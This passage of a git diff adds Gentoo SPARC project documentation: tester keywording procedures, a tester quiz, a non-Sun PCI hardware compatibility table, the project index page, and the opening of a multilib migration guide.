+for thirty days they can be made sparc stable.
+</p>
+
+<ul>
+<li>
+  Check the package hasn't already got any open bugs regarding it being
+  marked testing. Quite often users will prod us about popular packages
+  needing a keyword before any devs/ATs even notice ;)<br/><br/>
+</li>
+
+<li>
+  If the package doesn't have a bug yet, go ahead and start:<br/><br/>
+  <ul>
+    <li>
+      Check to see whether previous versions of the package were in
+      testing or stable on SPARC. If the version increment is only a
+      minor one (1.4.0 to 1.4.1) and previous version was stable, it's
+      slightly different to where a package has had a major version
+      increment or has never been ~sparc/sparc.<br/><br/>
+      <ul>
+	<li>
+	  <b>
+	    Previous version keyworded, minor version increment</b><br/>
+	    Check the changelog for the version increment, install the package
+            and test any new, improved or otherwise modified features. Check
+            the install is smooth, everyday functionality is there and there
+            are no glaringly obvious bugs. If you see any bugs, file them on
+            Bugzilla and when they're resolved test again. If everything seems
+            okay, proceed to the final stage (putting in the ~sparc request).
+	  </li>
+	  <li>
+	    <b>Previous version keyworded, major version increment</b><br/>
+	    Check the changelog, install the package and test all the new and
+            improved features. Check for bugs in previous versions, see if they
+            have been fixed and be especially careful to see whether new ones
+            crept in with all the new code. Test all the other functionality,
+            even stuff which you 'think' will work - a major version increment
+            means a lot of changes, and it's treated almost like a new addition
+            to the tree - everything has to be tested and verified. If you're
+            happy it seems to be running okay, proceed to the final stage.
+	  </li>
+	  <li>
+	    <b>New package, not keyworded before</b><br/>
+	    Anything which has never been sparc keyworded before is a little
+            more tricky to process. You don't have a nice changelog to refer
+            to for a list of things to test, a previous version which worked
+            to use as reference or much other help. You need to install the
+            package and then test thoroughly:<br/><br/>
+            <ol>
+              <li>
+                 Package should install without errors and be ready to run
+                 'out of the box' with minimal effort on the part of user.
+              </li>
+              <li>
+                 Major functionality (which isn't hard to test) should all
+                 work with no significant errors. Minor errors like a typo
+                 are probably acceptable, and we understand you can't go
+                 through every operation possible, but it should work in
+                 an acceptable manner for day-to-day usage by a user.
+              </li>
+              <li>
+                 Package shouldn't break anything related...
+              </li>
+            </ol><br/>
+            Assuming it installs, loads and works pretty well with no major
+            errors - please proceed to the final step and congratulate your
+            computer on adding yet another package to the expanding arsenal!
+	  </li>
+	<li>
+	    <b>Package requires patches that are in bugs.gentoo.org</b><br/>
+	    Make a comment in your bug stating that these patches fix issues
+	    with the package, and CC the maintainer of the package. Developers
+	    will then wait 7-30 days to commit if maintainer does not handle
+	    the bug. The types of patches in this category include: arch 
+	    specific patches, multi-lib strict, etc.
+	</li>
+	</ul>
+      <br/>
+      </li>
+      
+      <li>
+	Assuming your testing efforts above went well, and all procedures were
+        followed, you are now ready to open a bug and metaphysically prod a dev
+	into committing the change.
+	<br/><br/>
+	<ul>
+	  <li>
+	    Open a bug with '&lt;category&gt;/&lt;package&gt;-&lt;version&gt; is TESTED on SPARC'
+	    as the title. Assign the bug a keyword:  TESTED
+	  </li>
+	  <li>
+	    Assign the bug directly to sparc@gentoo.org - saves giving those
+	    Bug Wranglers yet another grey hair on their already snowy heads.
+	  </li>
+	  <li>
+	    Include a short description of the package, what you tested and
+            your 'emerge info'. Explicitly specify you wish the ~sparc to be
+            added to the keywords, it helps us grumpy old developers focus
+	    at 3am in the morning when sleep is probably a good idea ;)
+	  </li>
+	  <li>Sit back and wait, someone will resolve the bug ASAP.</li>
+	</ul>
+      </li>
+    </ul>
+  </li>
+</ul>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/sparc/at/sparc-quiz.txt b/xml/htdocs/proj/en/base/sparc/at/sparc-quiz.txt
new file mode 100644
index 00000000..1dcc78a9
--- /dev/null
+++ b/xml/htdocs/proj/en/base/sparc/at/sparc-quiz.txt
@@ -0,0 +1,15 @@
+SPARC architecture team quiz
+Revision 1.0 - 03 Aug 2009
+Answer in whatever length necessary for completeness.
+Consult the AT Lead if you're unable to locate answers.
+
+1. Does SPARC run 64-bit code?
+
+2. What's endianness? Is SPARC a big or little-endian architecture?
+
+3. Why is it so important to respect the user's CFLAGS on SPARC?
+
+4. (a) Explain what is an unaligned memory access.
+
+   (b) What can you do to help the package maintainer if testing shows a Bus
+   	Error?
diff --git a/xml/htdocs/proj/en/base/sparc/hwlist.xml b/xml/htdocs/proj/en/base/sparc/hwlist.xml
new file mode 100644
index 00000000..c72787a3
--- /dev/null
+++ b/xml/htdocs/proj/en/base/sparc/hwlist.xml
@@ -0,0 +1,357 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/base/sparc/hwlist.xml" lang="en">
+<title>Linux/SPARC64 Non-SUN Hardware Compatibility List</title>
+
+<!-- {{{ header stuff -->
+<author title="Author"><mail link="weeve@gentoo.org">Jason Wever</mail></author>
+
+<abstract>
+This Hardware Compatibility List details PCI hardware that has been tested on
+SPARC64 systems by the developer and user community.
+</abstract>
+
+<license />
+<version>1.0</version>
+<date>August 28th, 2008</date>
+<!-- }}} -->
+
+<chapter><title>About this Document</title> <!-- {{{ -->
+<section>
+<body>
+  <p>This document provides a list of hardware tested on the Sun SPARC64
+    platform, the results of that testing and who tested it.</p>
+  <p>This document does not guarantee that you will have similar results with
+    the same hardware, but simply documents the experiences of others.  Please
+    keep this in mind if you are thinking of making purchasing decisions based
+    on this document.</p>
+</body>
+</section>
+</chapter> <!-- }}} -->
+
+<chapter><title>Hardware Compatibility List</title> <!-- {{{ -->
+  <section><title>ATA/SATA Controllers</title><!-- {{{ -->
+  <body>
+    <table>
+      <tr><th>Vendor</th><th>Model</th><th>Chipset</th><th>Kernel</th>
+      <th>System</th><th>Working</th><th>Comments</th><th>Submitter</th>
+      </tr>
+    <tr><ti>Triones Technologies, Inc.</ti><ti>HPT366</ti><ti>HPT366</ti>
+        <ti>2.6.13</ti><ti>E250</ti><ti>Yes</ti>
+	<ti>IDE, works fine, no native RAID, bootable with proper devalias setup</ti>
+	<ti>cyan051</ti></tr>
+    <tr><ti>Silicon Image, Inc.</ti><ti>SiI 0649</ti><ti>SiI 0649</ti>
+        <ti>2.6.19-gentoo-r3</ti><ti>Ultra 10</ti><ti>Yes</ti>
+	<ti>IDE, not tested as bootable, no RAID, also known as CMD0649, does UDMA fine.</ti>
+	<ti>gustavoz</ti></tr>
+    <tr><ti>Silicon Image, Inc.</ti><ti>SiI 3112</ti><ti>SiI 3112</ti>
+        <ti>2.6.19.2</ti><ti>Netra T1-105</ti><ti>Yes</ti>
+	<ti>SATA, not tested as bootable, uses sata_sil kernel module.</ti>
+	<ti>neilgx</ti></tr>
+    <tr><ti>Silicon Image, Inc.</ti><ti>SiI 3512</ti><ti>SiI 3512</ti>
+        <ti>2.6.17-gentoo-r9</ti><ti>Ultra 5</ti><ti>Yes</ti>
+	<ti>SATA, non-bootable, sata_sil module</ti>
+	<ti>Jonni Nakari</ti></tr>
+     </table>
+  </body>
+  </section> <!-- }}} -->
+  <section><title>IEEE 1394 / Firewire Controllers</title> <!-- {{{ -->
+  <body>
+    <table>
+      <tr><th>Vendor</th><th>Model</th><th>Chipset</th><th>Kernel</th>
+      	  <th>System</th><th>Working</th><th>Comments</th><th>Submitter</th>
+	  </tr>
+      <tr><ti>Miro</ti><ti>Studio DV</ti>
+      	  <ti>Texas Instruments TSB12LV23</ti><ti>2.4 and 2.6</ti>
+	  <ti>Sun Ultra 5</ti><ti>Yes</ti>
+	  <ti>Tested with Canon MV300i Mini-DV Cam</ti><ti>gustavoz</ti></tr>
+    </table>
+  </body>
+  </section> <!-- }}} -->
+
+  <section><title>Bluetooth Adapters</title> <!-- {{{ -->
+  <body>
+    <table>
+      <tr><th>Vendor</th><th>Model</th><th>Chipset</th><th>Kernel</th>
+          <th>System</th><th>Working</th><th>Comments</th><th>Submitter</th>
+	  </tr>
+      <tr><ti>MSI</ti><ti>BToes (MS6970 Ver.254)</ti>
+          <ti>Broadcom BCM92035DGROM</ti><ti>2.6.14_rc1</ti>
+	  <ti>Sun Ultra 5</ti><ti>Yes</ti><ti>Tested against Nokia 6630</ti>
+	  <ti>gustavoz</ti></tr>
+    <tr>
+      <ti>EPoX</ti>
+      <ti>BT-DG07A+</ti>
+      <ti>Unknown, use CONFIG_BT_HCIUSB=y</ti>
+      <ti>2.6.25-gentoo-r6</ti>
+      <ti>Sun Blade 1000</ti>
+      <ti>Yes</ti>
+      <ti>Tested against Nokia N95 and N73</ti>
+      <ti>bluebird</ti>
+    </tr>
+    </table>
+  </body>
+  </section> <!-- }}} -->
+	  
+  <section><title>Network Adapters</title> <!-- {{{ -->
+  <body>
+    <table>
+      <tr><th>Vendor</th><th>Model</th><th>Chipset</th><th>Kernel</th>
+      	  <th>System</th><th>Working</th><th>Comments</th><th>Submitter</th>
+	  </tr>
+      <tr><ti>3COM</ti><ti>3c905C-TX-M</ti><ti>3c59x</ti>
+      	  <ti>2.4.22-sparc</ti><ti>Sun Ultra 60</ti><ti>Yes</ti>
+	  <ti>Works fine, not bootable</ti><ti>Blademan</ti></tr>
+      <tr><ti>3COM</ti><ti>3c905B-TXNM</ti>
+      	  <ti>3c59x</ti><ti>2.4.22-sparc</ti><ti>Sun Ultra 5</ti><ti>Yes</ti>
+	  <ti>Works, not bootable</ti><ti>gustavoz</ti></tr>
+      <tr><ti>3COM</ti><ti>3c905C-TX</ti><ti>3c59x</ti>
+          <ti>2.6.17-gentoo</ti><ti>Sun Ultra 10</ti><ti>Yes</ti>
+	  <ti>Works, not bootable</ti><ti>bauerbob</ti></tr>
+      <tr><ti>Belkin</ti><ti>F5D5000</ti><ti>Unknown</ti>
+      	  <ti>2.4.21-sparc-r1</ti><ti>Sun Ultra 10</ti><ti>No</ti>
+	  <ti>Linux doesn't recognize the card</ti><ti>ciaranm</ti></tr>
+      <tr><ti>Compaq</ti><ti>NC3122 Dual 10/100</ti>
+      	  <ti>Intel 82558</ti><ti>2.4.22-sparc</ti><ti>Sun Ultra 5</ti>
+	  <ti>Yes</ti><ti>Uses eepro100 driver, I think it's the same as the
+	      intel dual eepro100, not bootable</ti><ti>gustavoz</ti></tr>
+      <tr><ti>Intel</ti><ti>8255x EthernetPro100</ti>
+      	  <ti>eepro100</ti><ti>2.4.22-sparc</ti><ti>Sun Ultra 60</ti>
+	  <ti>Yes</ti><ti>Works fine, not bootable</ti><ti>Blademan</ti></tr>
+      <tr><ti>Intel</ti><ti>PRO/1000 Gigabit Server Adapter</ti>
+      	  <ti>Intel 82542</ti><ti>2.4.22</ti><ti>Sun Enterprise 450</ti>
+	  <ti>Yes</ti><ti>Works great out of the box, not bootable</ti>
+	  <ti>squash</ti></tr>
+      <tr><ti>Linksys</ti>
+          <ti>NC100 Network Everywhere Fast Ethernet 10/100 (rev 11)</ti>
+      	  <ti>ADMtek Comet rev 17</ti><ti>2.4.32</ti><ti>Sun Ultra 10</ti>
+	  <ti>Yes</ti><ti>Works great, not bootable</ti>
+	  <ti>Weeve</ti></tr>
+      <tr><ti>Netgear</ti><ti>FA 311</ti><ti>NSC DP83815</ti>
+      	  <ti>2.4.21-sparc-r1</ti><ti>Sun Ultra 10</ti><ti>Yes</ti>
+	  <ti>Works with NatSemi driver, not bootable</ti>
+	  <ti>ciaranm</ti></tr>
+      <tr><ti>Syskonnect</ti><ti>SK-9821</ti><ti>SK-98xx0</ti>
+      	  <ti>2.4.22-sparc</ti><ti>Sun Ultra 5</ti><ti>Yes</ti>
+	  <ti>Works with 'SysKonnect SK-98xx and SK-95xx Gigabit Ethernet
+	      Adapter family support', can be used in Solaris too, not bootable
+	      </ti>
+	  <ti>rognvaldr</ti></tr>
+      <tr><ti>U.S. Robotics</ti><ti>10/100/1000 Mbps PCI NIC</ti>
+      	  <ti>USR997902</ti><ti>2.6.13-rc4</ti><ti>Sun Blade 1000</ti>
+	  <ti>Yes</ti><ti>Works great with r8169 driver, not bootable</ti>
+	  <ti>Weeve</ti></tr>
+      <tr><ti>D-Link</ti><ti>DGE-528T</ti><ti>R8169</ti><ti>2.6.13</ti>
+          <ti>Sun E250</ti><ti>Yes</ti><ti>Works fine, not bootable</ti>
+	  <ti>cyan051</ti></tr>
+    </table>
+  </body>
+  </section> <!-- }}} -->
+
+  <section><title>SCSI Adapters</title> <!-- {{{ -->
+  <body>
+    <table>
+      <tr><th>Vendor</th><th>Model</th><th>Chipset</th><th>Kernel</th>
+      	  <th>System</th><th>Working</th><th>Comments</th><th>Submitter</th>
+	  </tr>
+      <tr><ti>Adaptec</ti><ti>2940AU</ti><ti>785x</ti>
+      	  <ti>2.4.22-sparc</ti><ti>Sun Ultra 5</ti><ti>Partially</ti>
+	  <ti>Works with aic7xxx, not bootable</ti><ti>todd</ti></tr>
+      <tr><ti>Adaptec</ti><ti>AHA-2940UW</ti><ti>AIC-7881U</ti>
+      	  <ti>2.4.22-sparc</ti><ti>Sun Ultra 5</ti><ti>Partially</ti>
+	  <ti>Works with aic7xxx, not bootable</ti><ti>gustavoz</ti></tr>
+      <tr><ti>Antares</ti><ti>P0069</ti><ti>LSI 53c8xx</ti>
+      	  <ti>2.4.22-sparc</ti><ti>Sun Ultra 5</ti><ti>Yes</ti>
+	  <ti>Works with 'SYM53C8XX Version 2 SCSI support', bootable</ti>
+	  <ti>rognvaldr</ti></tr>
+      <tr><ti>Compaq</ti><ti>295243-001</ti>
+          <ti>LSI 53c875j</ti><ti>2.4.21-sparc-r1</ti><ti>Sun Ultra 10</ti>
+	  <ti>Partially</ti><ti>Works with 53CXXX module, not bootable</ti>
+	  <ti>ciaranm</ti></tr>
+      <tr><ti>Symbios Logic</ti><ti>SYM22801</ti>
+          <ti>LSI 53c876</ti><ti>2.4.23pre6</ti><ti>Sun Ultra 5</ti>
+	  <ti>Yes</ti><ti>Works perfectly with 53CXXX module, bootable</ti>
+	  <ti>bazik</ti></tr>
+    </table>
+  </body>
+  </section> <!-- }}} -->
+
+  <section><title>Sound Cards</title> <!-- {{{ -->
+  <body>
+    <table>
+      <tr><th>Vendor</th><th>Model</th><th>Chipset</th>
+          <th>Kernel</th><th>System</th><th>Working</th><th>Comments</th>
+	  <th>Submitter</th></tr>
+      <tr><ti>CompUSA</ti><ti>4 Channel Sound Card PCI 32bit SKU: 272121</ti>
+      	  <ti>C-Media Electronics Inc CM8738 (rev 10)</ti><ti>2.6.13</ti>
+	  <ti>Sun Blade 100</ti><ti>Yes</ti>
+	  <ti>Works with ALSA driver snd-cmipci</ti><ti>Weeve</ti></tr>
+      <tr><ti>Creative</ti><ti>Sound Blaster AudioPCI 128</ti>
+      	  <ti>Ensoniq 5880 AudioPCI (rev 02)</ti><ti>2.6.x</ti>
+	  <ti>Sun Ultra 5</ti><ti>Yes</ti>
+	  <ti>Works with ALSA driver snd-ens1371</ti><ti>gustavoz</ti></tr>
+      <tr><ti>Creative</ti><ti>Sound Blaster Live/Audigy Family</ti>
+      	  <ti>EMU10K1</ti><ti>2.6.x</ti>
+	  <ti>Sun Ultra 10</ti><ti>No</ti>
+	  <ti>Pretty sure this was a PCI bus version issue, but don't I recall
+	      </ti><ti>eradicator</ti></tr>
+      <tr><ti>Diamond</ti><ti>MX300</ti>
+      	  <ti>Aureal Semiconductor Vortex 2 (rev fe)</ti><ti>2.6.13</ti>
+	  <ti>Sun Blade 100</ti><ti>No</ti>
+	  <ti>ALSA driver snd-au8830 fails to allocate resources</ti>
+	  <ti>Weeve</ti></tr>
+      <tr><ti>Hercules</ti><ti>Game Theater XP</ti>
+      	  <ti>Cirrus Logic CS 4614/22/24 [CrystalClear SoundFusion Audio
+	      Accelerator] (rev 01)</ti><ti>2.6.x</ti>
+	  <ti>Sun Ultra 30/Blade 100</ti><ti>Yes</ti>
+	  <ti>Works with ALSA driver snd-cs46xx</ti><ti>Weeve</ti></tr>
+      <tr><ti>Unknown</ti><ti>Unknown</ti>
+      	  <ti>ESS Technology ES1988 Allegro-1</ti><ti>2.6.x</ti>
+	  <ti>Sun Ultra 10</ti><ti>No</ti>
+	  <ti>ALSA fails to properly allocate resources</ti>
+	  <ti>eradicator</ti></tr>
+    </table>
+  </body>
+  </section> <!-- }}} -->
+
+  <section><title>USB Controllers</title> <!-- {{{ -->
+  <body>
+    <p><b>NOTE: </b>In order to utilize USB 2.0 controllers, you will need to
+      use a 2.6 kernel.</p>
+    <table>
+      <tr><th>Vendor</th><th>Model</th><th>Chipset</th><th>Kernel</th>
+      	  <th>System</th><th>Working</th><th>Comments</th><th>Submitter</th>
+	  </tr>
+      <tr><ti>Belkin</ti><ti>F5U220</ti><ti>NEC USB 2.0 (rev 04)</ti>
+      	  <ti>2.6.13</ti><ti>Sun Blade 100</ti>
+	  <ti>Yes</ti><ti>Works with OHCI + EHCI</ti><ti>Weeve</ti></tr>
+      <tr><ti>CMD Technology Inc</ti><ti>Unknown</ti>
+          <ti>CMD USB0670</ti><ti>2.4.22-sparc</ti><ti>Sun Ultra 5</ti>
+	  <ti>Yes</ti><ti>Works with OHCI</ti><ti>todd</ti></tr>
+      <tr><ti>D-Link</ti><ti>DU-520 (Rev A1)</ti>
+          <ti>NEC USB 2.0</ti><ti>2.6.x</ti><ti>Sun Ultra 10</ti>
+	  <ti>Yes</ti>
+	  <ti>Works with OHCI and EHCI</ti>
+	  <ti>ciaranm</ti></tr>
+      <tr><ti>Conceptronic</ti><ti>C480il</ti><ti>NEC USB 2.0</ti>
+          <ti>2.4.23pre6</ti><ti>Sun Ultra 5</ti><ti>Partially</ti>
+	  <ti>USB 1.1 works fine with OHCI, EHCI (USB 2.0) seems to be
+	      broken in 2.4.x</ti><ti>bazik</ti></tr>
+      <tr><ti>Kouwell</ti><ti>KWE-580C</ti><ti>OPTi 82c861</ti>
+          <ti>2.4.23pre6</ti><ti>Sun Ultra 5</ti><ti>Yes</ti>
+	  <ti>Works perfectly with OHCI</ti> <ti>bazik</ti></tr>
+      <tr><ti>Stratitec</ti><ti>ICUSB25</ti><ti>NEC USB 2.0 (rev 04)</ti>
+          <ti>2.6.16-rc6</ti><ti>Sun Ultra 60</ti><ti>Yes</ti>
+	  <ti>Works with OHCI + EHCI</ti><ti>Weeve</ti></tr>
+      <tr><ti>Unknown</ti><ti>Unknown</ti><ti>VIA VT6202</ti>
+          <ti>2.4.23pre6</ti><ti>Sun Ultra 5</ti><ti>No</ti>
+	  <ti>Neither USB 1.1 nor USB 2.0 work</ti><ti>bazik</ti></tr>
+      <tr><ti>Unknown</ti><ti>MA-132</ti><ti>ALi M5273</ti>
+          <ti>2.6.x</ti><ti>Sun Ultra 5</ti><ti>Yes</ti>
+	  <ti>Works</ti><ti>gustavoz</ti></tr>
+      <tr><ti>Sweex Essentials</ti><ti>PCI-USBNEC101-5P-1</ti>
+          <ti>NEC USB 2.0</ti><ti>2.6.0-sparc</ti><ti>Sun Ultra 10</ti>
+	  <ti>Yes</ti><ti>Works perfectly with OHCI + EHCI</ti><ti>ciaranm</ti>
+	  </tr>
+      <tr><ti>Bright Computech Co., Ltd.</ti><ti>UPCI20A-6P</ti>
+          <ti>ALi M5273 A1</ti><ti>2.6.24</ti><ti>Sun Ultra 10</ti>
+	  <ti>Yes</ti><ti>Didn't tried it yet with "demanding" devices (like USB mass
+    storage), but Bluetooth device has been recognized, and USB-mouse Logitech
+    M-BA47 is working excellent with Ultra 10</ti><ti>Zbigniew B.</ti>
+	  </tr>
+    </table>
+  </body>
+  </section> <!-- }}} -->
+
+  <section><title>USB Storage</title> <!-- {{{ -->
+  <body>
+  <p><b>NOTE: </b>This aren't bootable in any way, and often require a
+    high-speed USB controller to work reliably.</p>
+    <table>
+      <tr><th>Vendor</th><th>Model</th><th>Chipset</th>
+          <th>Kernel</th><th>System</th><th>Working</th><th>Comments</th>
+          <th>Submitter</th></tr>
+      <tr><ti>Transcend</ti><ti>TS-RD13B</ti><ti>Genesys Logic</ti>
+          <ti>2.6.20-gentoo</ti><ti>Sun Ultra 5</ti><ti>YES</ti>
+	  <ti>Needs 2.6.20+, only tested with CF and MMC cards.</ti>
+	  <ti>gustavoz</ti></tr>
+    </table>
+  </body>
+  </section> <!-- }}} -->
+
+  <section><title>Video Adapters</title> <!-- {{{ -->
+  <body>
+  <p><b>NOTE: </b>Alternate (non-SUN) framebuffers may not work in OBP, only
+    once the linux kernel has taken over control.</p>
+    <table>
+      <tr><th>Vendor</th><th>Model</th><th>Chipset</th>
+          <th>Kernel</th><th>System</th><th>Working</th><th>Comments</th>
+	  <th>Submitter</th></tr>
+      <tr><ti>ATI</ti><ti>3D RAGE IIC PCI</ti>
+      	  <ti>RAGE IIC</ti><ti>2.4.23pre6</ti><ti>Sun Ultra 5</ti><ti>No</ti>
+	  <ti>Gives no output on OBP, green vertical stripes with Kernel
+	      framebuffer</ti><ti>bazik</ti></tr>
+      <tr><ti>Cirrus</ti><ti>Laguna CL-GD5462</ti>
+      	  <ti>CL-GD5462</ti><ti>2.4.22-sparc</ti><ti>Sun Ultra 5</ti>
+	  <ti>No</ti>
+	  <ti>Mostly an xfree driver issue, pci resource conflict or such</ti>
+	  <ti>gustavoz</ti></tr>
+      <tr><ti>Matrox</ti><ti>Millenium II</ti>
+      	  <ti>mga2164w</ti><ti>2.4 and 2.6</ti><ti>Sun Ultra 5</ti>
+	  <ti>Yes</ti>
+	  <ti>Works fine with fbdev (console) and mga driver in Xorg</ti>
+	  <ti>gustavoz</ti></tr>
+      <tr><ti>3DLabs</ti><ti>Permedia II</ti><ti>GLINT</ti><ti>2.6.13</ti>
+          <ti>Sun E250</ti><ti>Yes</ti><ti>Xorg works fine, but no FB support</ti>
+	  <ti>cyan051</ti></tr>
+    <tr>
+      <ti>Matrox</ti>
+      <ti>Millenium I</ti>
+      <ti>mga2064w</ti>
+      <ti>2.6.25-gentoo-r6</ti>
+      <ti>Blade 1000</ti>
+      <ti>Yes</ti>
+      <ti>Works fine with fbdev (console) and mga driver in Xorg</ti>
+	    <ti>bluebird</ti>
+    </tr>
+    <tr>
+      <ti>Matrox</ti>
+      <ti>G450</ti>
+      <ti>mga g400/g450</ti>
+      <ti>2.6.24-gentoo-r8</ti>
+      <ti>Blade 1000</ti>
+      <ti>Yes</ti>
+      <ti>Boot kernel with "video=matroxfb:init,nobios", works in Xorg with
+      fbdev but not with mga. Causes kernel 2.6.25 to oops.</ti>
+      <ti>bluebird</ti>
+    </tr>
+    </table>
+  </body>
+  </section> <!-- }}} -->
+  <section><title>Web cams</title><!-- {{{ -->
+  <body>
+    <table>
+      <tr><th>Vendor</th><th>Model</th><th>Chipset</th><th>Kernel</th>
+          <th>Status</th><th>Comments</th><th>Submitter</th></tr>
+      <tr><ti>Creative Labs</ti><ti>PD1030</ti><ti>OV511+/OV7620</ti>
+          <ti>2.6.17-gentoo-r1</ti><ti>Works, somewhat</ti>
+	  <ti>Ekiga doesn't like it because of colorspace conversion, ffmpeg does. ov511 driver.</ti>
+	  <ti>gustavoz</ti></tr>
+      </table>
+    </body>
+    </section><!-- }}} -->
+</chapter> <!-- }}} -->
+
+<chapter><title>Updating The Compatibility List</title> <!-- {{{ -->
+  <section><title>Sending Us Your Updates</title> <!-- {{{ -->
+  <body>
+    <p>If you would like to send us your results, please email the SPARC team
+      at <c>sparc at gentoo dot org</c> with your information in the same
+      format it is currently presented in.
+    </p>
+  </body>
+  </section> <!-- }}} -->
+</chapter> <!-- }}} -->
+</guide>
+
+<!-- vim: set tw=80 et ts=2 sw=2 sts=2 foldmethod=marker : -->
diff --git a/xml/htdocs/proj/en/base/sparc/index.xml b/xml/htdocs/proj/en/base/sparc/index.xml
new file mode 100644
index 00000000..8a5144cb
--- /dev/null
+++ b/xml/htdocs/proj/en/base/sparc/index.xml
@@ -0,0 +1,122 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>Gentoo SPARC</name>
+
+<longname>Gentoo Linux SPARC Development</longname>
+
+<description>
+The Gentoo SPARC project provides the Gentoo GNU/Linux operating system to the
+SPARC and UltraSPARC platforms.
+</description>
+
+<longdescription>
+<p>
+Gentoo/SPARC is a Gentoo project designed to bring the Gentoo GNU/Linux
+operating system to the SPARC and UltraSPARC platforms.  Gentoo/SPARC aims to
+provide a usable server and desktop environment for your various SPARC related
+endeavours.
+</p>
+</longdescription>
+
+<recruitment>
+<job>
+<summary>Arch team members</summary>
+
+<details>
+The sparc team could use some more people for software testing, keywording and
+release work. ~sparc users, owners of new and or exotic hardware are most
+welcome.
+</details>
+
+<requirements>Access to v9 sparc hardware</requirements>
+<contact>tcunha</contact>
+</job>
+</recruitment>
+
+<extraproject name="Sparc AT" lead="tcunha">
+Architecture Testers for Gentoo/SPARC.
+</extraproject>
+
+<dev role="Lead" description="Gentoo/SPARC">armin76</dev>
+<dev role="member" description="Porting">jer</dev>
+<dev role="subproject lead" description="SPARC AT">tcunha</dev>
+
+<extrachapter position="resources">
+<title>Documentation</title>
+<section>
+<body>
+
+<p>
+The following is a list of available documentation for Gentoo on the SPARC
+platform.
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/en/handbook/handbook-sparc.xml">Gentoo
+    Linux/SPARC Handbook</uri>
+  </li>
+  <li><uri link="/doc/en/gentoo-sparc-faq.xml">Gentoo SPARC FAQ</uri></li>
+  <li>
+    <uri link="/doc/en/gentoo-sparc-netboot-howto.xml">Gentoo/SPARC Netboot
+    Howto</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/gentoo-sparc-obpreference.xml">Gentoo SPARC OpenBoot PROM
+    Reference Guide</uri>
+  </li>
+  <li>
+    <uri link="sunhw.xml">Gentoo Linux/SPARC64 Sun Hardware Compatibility
+    List</uri>
+  </li>
+  <li>
+    <uri link="hwlist.xml">Linux/SPARC64 Non-SUN Hardware Compatibility
+    List</uri>
+  </li>
+  <li>
+    <uri link="at/index.xml">Gentoo SPARC Architecture Tester Guide</uri>
+  </li>
+  <li>
+    <uri link="multilib.xml">Gentoo Linux SPARC Multilib Migration Guide</uri>
+  </li>
+</ul>
+
+<p>
+Additionally you can find the following information on Gentoo/SPARC developer
+websites.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>Additional Notes</title>
+<section>
+<body>
+
+<p>
+If you have something that you think would make a good sparc sub-project, please
+contact the sparc team via email.  This list will be updated to reflect new
+projects as they arise.
+</p>
+
+<p>
+Work in progress; contributors are sorted alphabetically, only most important
+contributions are listed for each contributor.  Your name should probably be
+here, if it isn't, remind us by mailing <mail link="sparc@gentoo.org">the Sparc
+team</mail>
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<herd name="sparc"/>
+
+</project>
+
diff --git a/xml/htdocs/proj/en/base/sparc/multilib.xml b/xml/htdocs/proj/en/base/sparc/multilib.xml
new file mode 100644
index 00000000..0385a3f5
--- /dev/null
+++ b/xml/htdocs/proj/en/base/sparc/multilib.xml
@@ -0,0 +1,399 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/sparc/multilib.xml,v 1.5 2009/04/02 22:14:26 bluebird Exp $ -->
+
+<guide link="/doc/en/guide.xml" lang="en">
+<title>Gentoo Linux SPARC Multilib Migration Guide</title>
+
+<author title="Author">
+  <mail link="bluebird"/>
+</author>
+
+<abstract>
+This guide will help you to migrate your existing Gentoo Linux SPARC
+installation from a non-multilib profile to a multilib profile.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.3</version>
+<date>2009-04-03</date>
+
+<chapter>
+<title>Overview</title>
+<section>
+<body>
+
+<p>
+This guide will help you to migrate your existing Gentoo Linux SPARC
+installation from a non-multilib profile to a multilib profile.
+</p>
+
+<impo>
+Multilib is still experimental, do not use it if you have to rely on a fully
+working machine.
+</impo>
+
+<p>
+Multlib has advantages but it also has some disadvantages, these are the facts:
+</p>
+
+<dl>
+  <dt>Advantages</dt>
+  <dd>
+    <ul>
+      <li>You can compile and run 64 bit binaries</li>
+      <li>Gcc can handle -m32 and -m64 (biarch)</li>
+      <li>One compiler for both kernel and userland</li>
+    </ul>
+  </dd>
+  <dt>Drawbacks</dt>
+  <dd>
+    <ul>
+      <li>Compiling gcc takes twice as long as it did before</li>
+      <li>Compiling glibc takes twice as long as it did before</li>
+    </ul>
+  </dd>
+</dl>
+
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Migration</title>
+
+<section>
+<title>Update the make.profile symlink</title>
+<body>
+
+<p>
+Because the profile is still in an experimental state you have to create/change
+the <path>/etc/make.profile</path> symlink manually.
+</p>
+<p>
+The multilib profile also provides these three sub-profiles for your
+convenience, just like 2008.0 does:
+</p>
+
+<ul>
+  <li>desktop</li>
+  <li>developer</li>
+  <li>server</li>
+</ul>
+
+<pre caption="Update the make.profile symlink">
+$ <i>rm /etc/make.profile</i>
+
+$ <i>ln -s /usr/portage/profiles/default/linux/sparc/experimental/multilib /etc/make.profile</i>
+or
+$ <i>ln -s /usr/portage/profiles/default/linux/sparc/experimental/multilib/desktop /etc/make.profile</i>
+or
+$ <i>ln -s /usr/portage/profiles/default/linux/sparc/experimental/multilib/developer /etc/make.profile</i>
+or
+$ <i>ln -s /usr/portage/profiles/default/linux/sparc/experimental/multilib/server /etc/make.profile</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Confirm that you read this guide</title>
+<body>
+
+<p>
+If someone would switch to the multilib profile without reading this guide,
+his/her system would break. To prevent that you need to confirm that you read
+this by adding <e>I_READ_THE_MULTILIB_MIGRATION_GUIDE</e> to your
+<path>/etc/make.conf</path>.
+</p>
